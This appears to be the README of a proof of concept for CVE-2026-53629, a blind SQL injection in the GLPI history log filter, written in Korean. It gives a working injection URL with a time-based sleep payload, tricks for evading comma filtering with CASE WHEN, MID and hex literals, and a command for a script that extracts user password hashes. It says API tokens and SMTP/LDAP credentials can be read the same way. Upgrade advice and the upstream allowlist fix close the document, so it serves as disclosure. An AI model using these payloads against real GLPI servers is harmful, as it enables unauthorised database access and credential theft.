
CVE-2026-53629에 대한 PoC, GLPI 히스토리 로그 필터의 블라인드 SQL 인젝션
GLPI 기록 로그 필터의 블라인드 SQL 인젝션. CVE-2026-53629, 11.0.8 및 10.0.26에서 수정되었으며, 9.4.0부터 존재하던 취약점입니다.
logs 읽기 권한이 있는 계정이면 됩니다. 기본 제공되는 읽기 전용 프로필에 이 권한이 있습니다.
보안 권고: GHSA-cpcj-x335-5cmh 분석 글: 발견 과정
Log::convertFiltersValuesToSqlCriteria()는 affected_fields 필터를 key:operator:values로 분할합니다. CVE-2026-29047 패치는 연산자를 검증하고 배열 인덱스를 캐스팅했지만, $key는 그대로 두었습니다.
DBmysqlIterator::analyseCrit()는 OR, AND, 을 열 이름으로 따옴표 처리하지 않습니다. 해당 값들을 재귀적으로 탐색하며, 그 재귀는 더 이상 사용되지 않는 분기에서 끝나 일반 문자열을 원시 SQL로 그대로 반환합니다.
NOT따라서 키로 OR을 사용하면 원하는 값을 WHERE 절에 그대로 넣을 수 있습니다:
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))
기록 탭도 filters[affected_fields][0]을 통해 동일하게 동작합니다.
explode(',', $values)는 쉼표가 포함된 모든 것을 분해하므로 SUBSTRING(s,1,1) 및 IF(a,b,c)는 사용할 수 없습니다. CASE WHEN ... THEN ... ELSE ... END와 MID(s FROM n FOR 1)로 처리할 수 있습니다. 따옴표 대신 16진수 리터럴을 사용합니다. 0x676c7069는 glpi입니다.
페이로드는 glpi_logs의 각 행마다 한 번씩 실행되므로 sleep이 곱해집니다. 6개 행에 sleep(5)를 적용하면 30초입니다. 실제 인스턴스에서는 0.1로 낮추지 않으면 요청이 돌아오지 않습니다.
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly
이진 탐색으로 glpi_users.password를 한 문자씩 읽어냅니다. --id로 다른 사용자를 지정하고, --sleep과 --threshold로 더 느린 대상을 처리합니다.
같은 방법으로 api_token, personal_token, 그리고 glpi_configs의 SMTP 및 LDAP 자격 증명을 읽을 수 있습니다.
업그레이드하세요. 불가능하다면, 필요하지 않은 프로필에서 logs 읽기 권한을 제거하세요. 업스트림에서 키를 허용 목록에 추가했습니다:
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}
수정이 배포된 후에 공개되었습니다. 소유하지 않은 시스템에서 실행하지 마세요.